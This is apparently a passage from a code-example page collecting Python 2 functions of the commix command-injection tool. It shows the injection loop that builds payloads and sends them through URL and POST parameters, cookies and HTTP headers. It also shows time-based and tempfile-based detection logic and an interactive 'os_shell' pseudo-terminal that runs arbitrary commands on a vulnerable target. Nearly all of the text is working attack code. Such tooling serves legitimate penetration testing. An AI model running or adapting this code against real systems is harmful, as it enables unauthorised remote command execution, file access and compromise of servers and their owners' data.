              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print settings.print_critical_msg(err_msg)
              raise SystemExit()

          else:
            i = i + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
            
            randv1 = random.randrange(100)
            randv2 = random.randrange(100)
            randvcalc = randv1 + randv2
            
            # Define alter shell
            alter_shell = menu.options.alter_shell
            
            try:
              if alter_shell:
                # Classic -alter shell- decision payload (check if host is vulnerable).
                payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
              else:
                # Classic decision payload (check if host is vulnerable).
                payload = cb_payloads.decision(separator, TAG, randv1, randv2)
              
              # Define prefixes & suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Whitespace fixation
              payload = payload.replace(" ", whitespace)
              
              # Perform payload modification
              payload = checks.perform_payload_modification(payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL == 1:
                print settings.print_payload(payload)
              elif settings.VERBOSITY_LEVEL > 1:
                info_msg = "Generating a payload for injection..."
                print settings.print_info_msg(info_msg)
                print settings.print_payload(payload) 
                
              # Cookie header injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie header injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = cb_injector.cookie_injection_test(url, vuln_parameter, payload)
                
              # User-Agent HTTP header injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent HTTP header injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer HTTP header injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer HTTP header injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = cb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Host HTTP header injection
              elif settings.HOST_INJECTION == True:
                # Check if target host is vulnerable to host HTTP header injection.
                vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                response = cb_injector.host_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url)

              # Try target page reload (if it is required).
              if settings.URL_RELOAD:
                response = requests.url_reload(url, timesec)

              # Evaluate test results.
              time.sleep(timesec)
              shell = cb_injector.injection_test_results(response, TAG, randvcalc)

              if not settings.VERBOSITY_LEVEL >= 1:
                percent = ((i*100)/total)
                float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
              
                if shell == False:
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + float_percent + "%" + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                  sys.stdout.flush()

                if float(float_percent) >= 99.9:
                  if no_result == True:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = str(float_percent)+ "%"
                elif len(shell) != 0:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                else:
                  percent = str(float_percent)+ "%"
                info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                sys.stdout.flush()
            
            except KeyboardInterrupt: 
              raise

            except SystemExit: 
              raise

            except EOFError:
              err_msg = "Exiting, due to EOFError."
              print settings.print_error_msg(err_msg)
              raise 

            except:
              continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False
            # Check injection state
            settings.DETECTION_PHASE = False
            settings.EXPLOITATION_PHASE = True
            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.HOST_INJECTION == True: 
              header_name = " Host"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:    
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              if not settings.VERBOSITY_LEVEL >= 1:
                print ""
              else:
                checks.total_of_requests()

            # Print the findings to terminal.
            success_msg = "The"
            if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
              success_msg += " " + http_request_method + "" 
            success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print settings.print_success_msg(success_msg)
            print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False  
            
            # Check for any enumeration options.
            new_line = True
            if settings.ENUMERATION_DONE == True :
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to enumerate again? [Y/n] > "
                  enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                else:
                  enumerate_again = ""  
                if len(enumerate_again) == 0:
                  enumerate_again = "y"
                if enumerate_again in settings.CHOICE_YES:
                  cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  #print ""
                  break
                elif enumerate_again in settings.CHOICE_NO:
                  new_line = False
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.enumeration_options():
                cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
          
            if not menu.file_access_options() and not menu.options.os_cmd and new_line:
              print ""
            
            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to access files again? [Y/n] > "
                  sys.stdout.write(settings.print_question_msg(question_msg))
                  file_access_again = sys.stdin.readline().replace("\n","").lower()
                else:
                  file_access_again = ""  
                if len(file_access_again) == 0:
                   file_access_again = "y"
                if file_access_again in settings.CHOICE_YES:
                  cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + file_access_again  + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.file_access_options():
                # if not menu.enumeration_options():
                #   print ""
                cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                print ""
              
            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print ""
              cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break 
              if not menu.options.batch:
                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                gotshell = sys.stdin.readline().replace("\n","").lower()
              else:
                gotshell = ""  
              if len(gotshell) == 0:
                 gotshell = "y"
              if gotshell in settings.CHOICE_YES:
                if not menu.options.batch:
                  print ""
                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    if not readline_error:
                      # Tab compliter
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                      if go_back and go_back_again == False:
                        break
                      if go_back and go_back_again:
                        return True 
                    else:
                      # Command execution results.
                      time.sleep(timesec)
                      response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                      # Try target page reload (if it is required).
                      if settings.URL_RELOAD:
                        response = requests.url_reload(url, timesec)
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Evaluate injection results.
                        try:
                          shell = cb_injector.injection_results(response, TAG, cmd)
                          shell = "".join(str(p) for p in shell)
                        except:
                          print ""
                          continue  
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                      if shell:
                        html_parser = HTMLParser.HTMLParser()
                        shell = html_parser.unescape(shell)
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, shell)
                      if shell != "":
                        print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                      else:
                        if settings.VERBOSITY_LEVEL >= 1:
                          print ""
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print settings.print_critical_msg(err_msg) + "\n"

                  except KeyboardInterrupt: 
                    raise
                    
                  except SystemExit: 
                    raise

                  except EOFError:
                    err_msg = "Exiting, due to EOFError."
                    print settings.print_error_msg(err_msg)
                    raise 

              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  

              elif gotshell in settings.CHOICE_QUIT:
                raise SystemExit()

              else:
                err_msg = "'" + gotshell + "' is not a valid answer."
                print settings.print_error_msg(err_msg)
                pass
                
  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print ""
    return False
  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 29
0
def do_check(url, filename):

  check_http_headers = False

  # Check if defined "--delay" option.
  if menu.options.delay:
    delay = menu.options.delay
  else:
    delay = settings.DELAY

  # Check if authentication is needed.
  if menu.options.auth_url and menu.options.auth_data:
    # Do the authentication process.
    authentication.authentication_process()
    # Check if authentication page is the same with the next (injection) URL
    if urllib2.urlopen(url).read() == urllib2.urlopen(menu.options.auth_url).read():
      print Back.RED + settings.ERROR_SIGN + "It seems that the authentication procedure has failed." + Style.RESET_ALL
      sys.exit(0)
  elif menu.options.auth_url or menu.options.auth_data: 
    print Back.RED + settings.ERROR_SIGN + "You must specify both login panel URL and login parameters." + Style.RESET_ALL
    sys.exit(0)
  else:
    pass

  # Check if HTTP Method is GET.
  if not menu.options.data:

    # Enable Cookie Injection
    if menu.options.cookie and menu.options.level > 1:
      settings.COOKIE_INJECTION = True

    http_request_method = "GET"

    # Check for stored injections on User-agent / Referer headers (if level > 2).
    if menu.options.level > 2 :
      check_parameter = ""
      stored_http_header_injection(url, check_parameter, check_http_headers, http_request_method, filename, delay)

    # Enable Cookie Injection
    if menu.options.cookie:
      settings.COOKIE_INJECTION = True

    if not settings.COOKIE_INJECTION:
      found_url = parameters.do_GET_check(url)
      if found_url != False:
        for i in range(0, len(found_url)):
          url = found_url[i]
          check_parameter = parameters.vuln_GET_param(url)
          # Check if testable parameter(s) are provided
          if len(settings.TEST_PARAMETER) > 0:
            if check_parameter in settings.TEST_PARAMETER:
              # Check for session file 
              if check_for_stored_sessions(url, http_request_method):
                injection_proccess(url, check_parameter, http_request_method, filename, delay)
          else:
            if check_for_stored_sessions(url, http_request_method):
              injection_proccess(url, check_parameter, http_request_method, filename, delay)

        if not settings.LOAD_SESSION :
          for i in range(0, len(found_url)):
            url = found_url[i]
            check_parameter = parameters.vuln_GET_param(url)
            # Check if testable parameter(s) are provided
            if len(settings.TEST_PARAMETER) > 0:
              if check_parameter in settings.TEST_PARAMETER:
                injection_proccess(url, check_parameter, http_request_method, filename, delay)
            else:
              injection_proccess(url, check_parameter, http_request_method, filename, delay)

  # Check if HTTP Method is POST.      
  else:
    http_request_method = "POST"
    
    # Check for stored injections on User-agent / Referer headers (if level > 2).
    if menu.options.level > 2 :
      check_parameter = ""
      stored_http_header_injection(url, check_parameter, check_http_headers, http_request_method, filename, delay)

    # Check if HTTP Method is POST.
    parameter = menu.options.data
    found_parameter = parameters.do_POST_check(parameter)
    # Remove whitespaces 
    # Check if singe entry parameter
    if type(found_parameter) is str:
      found_parameter_list = []
      found_parameter_list.append(found_parameter)
      found_parameter = found_parameter_list

    # Remove whitespaces   
    found_parameter = [x.replace(" ", "") for x in found_parameter]

    # Check if multiple parameters
    for i in range(0, len(found_parameter)):
      parameter = menu.options.data = found_parameter[i]
      check_parameter = parameters.vuln_POST_param(parameter, url)
      if len(check_parameter) > 0:
        settings.TESTABLE_PARAMETER = check_parameter
      # Check if testable parameter(s) are provided
      if len(settings.TEST_PARAMETER) > 0:
        if check_parameter in settings.TEST_PARAMETER:
          # Check for session file 
          if check_for_stored_sessions(url, http_request_method):
            injection_proccess(url, check_parameter, http_request_method, filename, delay)
      else:
        if check_for_stored_sessions(url, http_request_method):
          injection_proccess(url, check_parameter, http_request_method, filename, delay)

    if not settings.LOAD_SESSION :
      for i in range(0, len(found_parameter)):
        parameter = menu.options.data = found_parameter[i]
        check_parameter =  parameters.vuln_POST_param(parameter, url)
        # Check if testable parameter(s) are provided
        if len(settings.TEST_PARAMETER) > 0:
          if check_parameter in settings.TEST_PARAMETER:
            injection_proccess(url, check_parameter, http_request_method, filename, delay)
        else:
          injection_proccess(url, check_parameter, http_request_method, filename, delay)  

  # Enable Cookie Injection
  if menu.options.cookie and menu.options.level > 1:
    settings.COOKIE_INJECTION = True

  # Cookie Injection
  if settings.COOKIE_INJECTION == True:
    cookie_value = menu.options.cookie
    # Check for stored injections on User-agent / Referer headers (if level > 2).
    if menu.options.level > 2 :
      check_parameter = ""
      stored_http_header_injection(url, check_parameter, check_http_headers, http_request_method, filename, delay)

    header_name = " Cookie"
    settings.HTTP_HEADER = header_name[1:].lower()
    cookie_parameters = parameters.do_cookie_check(menu.options.cookie)
    if type(cookie_parameters) is str:
      cookie_parameters_list = []
      cookie_parameters_list.append(cookie_parameters)
      cookie_parameters = cookie_parameters_list

    # Remove whitespaces 
    cookie_parameters = [x.replace(" ", "") for x in cookie_parameters]

    for i in range(0, len(cookie_parameters)):
      menu.options.cookie = cookie_parameters[i]
      check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
      if len(check_parameter) > 0:
        settings.TESTABLE_PARAMETER = check_parameter 
      # Check if testable parameter(s) are provided
      if len(settings.TEST_PARAMETER) > 0:
        if check_parameter in settings.TEST_PARAMETER:
          # Check for session file 
          if check_for_stored_sessions(url, http_request_method):
            injection_proccess(url, check_parameter, http_request_method, filename, delay)
      else:
        if check_for_stored_sessions(url, http_request_method):
          injection_proccess(url, check_parameter, http_request_method, filename, delay)

    if not settings.LOAD_SESSION :
      for i in range(0, len(cookie_parameters)):
        menu.options.cookie = cookie_parameters[i]
        check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
        if len(check_parameter) > 0:
          settings.TESTABLE_PARAMETER = check_parameter 
        # Check if testable parameter(s) are provided
        if len(settings.TEST_PARAMETER) > 0:
          if check_parameter in settings.TEST_PARAMETER:
            injection_proccess(url, check_parameter, http_request_method, filename, delay)
        else:
          injection_proccess(url, check_parameter, http_request_method, filename, delay)
  
  if settings.COOKIE_INJECTION == True:
    # Restore cookie value
    menu.options.cookie = cookie_value
    # Disable cookie injection 
    settings.COOKIE_INJECTION = False

  # Custom header Injection
  if settings.CUSTOM_HEADER_INJECTION == True:
    check_parameter =  header_name = " " + settings.CUSTOM_HEADER_NAME
    settings.HTTP_HEADER = header_name[1:].lower()
    check_for_stored_sessions(url, http_request_method)
    injection_proccess(url, check_parameter, http_request_method, filename, delay)

  # Check for stored injections on User-agent / Referer headers (if level > 2).
  if menu.options.level > 2 :
    check_parameter = ""
    check_http_headers = True
    stored_http_header_injection(url, check_parameter, check_http_headers, http_request_method, filename, delay)

  # All injection techniques seems to be failed!
  if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False :
    info_msg = settings.CRITICAL_SIGN + "All the tested (" + http_request_method + ") parameters appear to be not injectable."
    if not menu.options.alter_shell :
      info_msg += " Try to use the option '--alter-shell'"
    else:
      info_msg += " Try to remove the option '--alter-shell'"
    if menu.options.level < 3 :
      info_msg += " and/or try to increase '--level' values to perform more tests (i.e 'User-Agent', 'Referer', 'Cookie' etc)"
    info_msg += "."
    print Back.RED + info_msg + Style.RESET_ALL  
  sys.exit(0)

#eof
Esempio n. 30
0
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):

  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  possibly_vulnerable = False
  false_positive_warning = False
  how_long_statistic = []
  export_injection_info = False
  how_long = 0
  injection_type = "semi-blind command injection"
  technique = "tempfile-based injection technique"

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    err_msg = "The '--url-reload' option is not available in " + technique + "!"
    print settings.print_critical_msg(err_msg)

  whitespace = checks.check_whitespaces()

  if settings.VERBOSITY_LEVEL >= 1:
    info_msg ="Testing the " + technique + "... "
    print settings.print_info_msg(info_msg)

  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
    
  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:

        if settings.LOAD_SESSION:
          cmd = shell = ""
          url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
          checks.check_for_stored_tamper(payload)
          settings.FOUND_HOW_LONG = how_long
          settings.FOUND_DIFF = how_long - delay
          OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
          
        else:
          num_of_chars = num_of_chars + 1
          # Check for bad combination of prefix and separator
          combination = prefix + separator
          if combination in settings.JUNK_COMBINATION:
            prefix = ""

          # Change TAG on every request to prevent false-positive resutls.
          TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))  

          # The output file for file-based injection technique.
          OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
          alter_shell = menu.options.alter_shell
          tag_length = len(TAG) + 4
          
          for output_length in range(1, int(tag_length)):
            try:
              # Tempfile-based decision payload (check if host is vulnerable).
              if alter_shell :
                payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
              else:
                payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)

              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Whitespace fixation
              payload = re.sub(" ", whitespace, payload)
              
              # Encode payload to Base64
              if settings.TAMPER_SCRIPTS['base64encode']:
                from src.core.tamper import base64encode
                payload = base64encode.encode(payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL >= 1:
                payload_msg = payload.replace("\n", "\\n")
                print settings.print_payload(payload_msg)
                  
              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
                
              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)

              # Statistical analysis in time responses.
              how_long_statistic.append(how_long)

              # Injection percentage calculation
              percent = ((num_of_chars * 100) / total)
              float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))

              if percent == 100 and no_result == True:
                if not settings.VERBOSITY_LEVEL >= 1:
                  percent = Fore.RED + "FAILED" + Style.RESET_ALL
                else:
                  percent = ""
              else:
                if (url_time_response == 0 and (how_long - delay) >= 0) or \
                   (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                   (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                  # Time relative false positive fixation.
                  false_positive_fixation = False
                  if len(TAG) == output_length:

                    # Simple statical analysis
                    statistical_anomaly = True
                    if len(set(how_long_statistic[0:5])) == 1:
                      if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
                        statistical_anomaly = False
                        how_long_statistic = []  

                    if delay <= how_long and not statistical_anomaly:
                      false_positive_fixation = True
                    else:
                      false_positive_warning = True

                  # Identified false positive warning message.
                  if false_positive_warning:
                    warn_msg = "Unexpected time delays have been identified due to unstable "
                    warn_msg += "requests. This behavior may lead to false-positive results.\n"
                    sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                    while True:
                      question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
                      sys.stdout.write(settings.print_question_msg(question_msg))
                      proceed_option = sys.stdin.readline().replace("\n","").lower()
                      if proceed_option.lower() in settings.CHOICE_PROCEED :
                        if proceed_option.lower() == "s":
                          false_positive_fixation = False
                          raise
                        elif proceed_option.lower() == "c":
                          delay = delay + 1
                          false_positive_fixation = True
                          break
                        elif proceed_option.lower() == "q":
                          raise SystemExit()
                      else:
                        if proceed_option == "":
                          proceed_option = "enter"
                        err_msg = "'" + proceed_option + "' is not a valid answer."
                        print settings.print_error_msg(err_msg)
                        pass

                  # Check if false positive fixation is True.
                  if false_positive_fixation:
                    false_positive_fixation = False
                    settings.FOUND_HOW_LONG = how_long
                    settings.FOUND_DIFF = how_long - delay
                    if false_positive_warning:
                      time.sleep(1)
                    randv1 = random.randrange(0, 1)
                    randv2 = random.randrange(1, 2)
                    randvcalc = randv1 + randv2

                    if settings.TARGET_OS == "win":
                      if alter_shell:
                        cmd = settings.WIN_PYTHON_DIR + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
                      else:
                        cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
                    else:
                      cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))"

                    # Check for false positive resutls
                    how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)

                    if (url_time_response == 0 and (how_long - delay) >= 0) or \
                       (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                       (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
                      
                      if str(output) == str(randvcalc) and len(TAG) == output_length:
                        possibly_vulnerable = True
                        how_long_statistic = 0
                        if not settings.VERBOSITY_LEVEL >= 1:
                          percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                        else:
                          percent = ""
                        #break  
                    else:
                      break
                  # False positive
                  else:
                    if not settings.VERBOSITY_LEVEL >= 1:
                      percent = str(float_percent)+ "%"
                      info_msg =  "Testing the " + technique + "... " +  "[ " + percent + " ]"
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()
                    continue    
                else:
                  if not settings.VERBOSITY_LEVEL >= 1:
                    percent = str(float_percent)+ "%"
                    info_msg =  "Testing the " + technique + "... " +  "[ " + percent + " ]"
                    sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                    sys.stdout.flush()
                  continue
              if not settings.VERBOSITY_LEVEL >= 1:
                info_msg =  "Testing the " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                sys.stdout.flush()
                
            except KeyboardInterrupt: 
              if 'cmd' in locals():
                # Delete previous shell (text) files (output) from temp.
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except SystemExit: 
              # Delete previous shell (text) files (output) from temp.
              delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except:
              percent = ((num_of_chars * 100) / total)
              float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
              if str(float_percent) == "100.0":
                if no_result == True:
                  if not settings.VERBOSITY_LEVEL >= 1:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                    info_msg =  "Testing the " + technique + "... " +  "[ " + percent + " ]"
                    sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                    sys.stdout.flush()
                  else:
                    percent = ""
                else:
                  percent = str(float_percent) + "%"
                  print ""
                  # Print logs notification message
                  logs.logs_notification(filename)
                #raise
              else:
                percent = str(float_percent) + "%"
            break
        # Yaw, got shellz! 
        # Do some magic tricks!
        if (url_time_response == 0 and (how_long - delay) >= 0) or \
           (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
           (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

          if (len(TAG) == output_length) and \
             (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):

            found = True
            no_result = False

            if settings.LOAD_SESSION:
              possibly_vulnerable = False

            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              print ""

            # Print the findings to terminal.
            success_msg = "The"
            if found_vuln_parameter == " ": 
              success_msg += http_request_method + "" 
            success_msg += the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print settings.print_success_msg(success_msg)
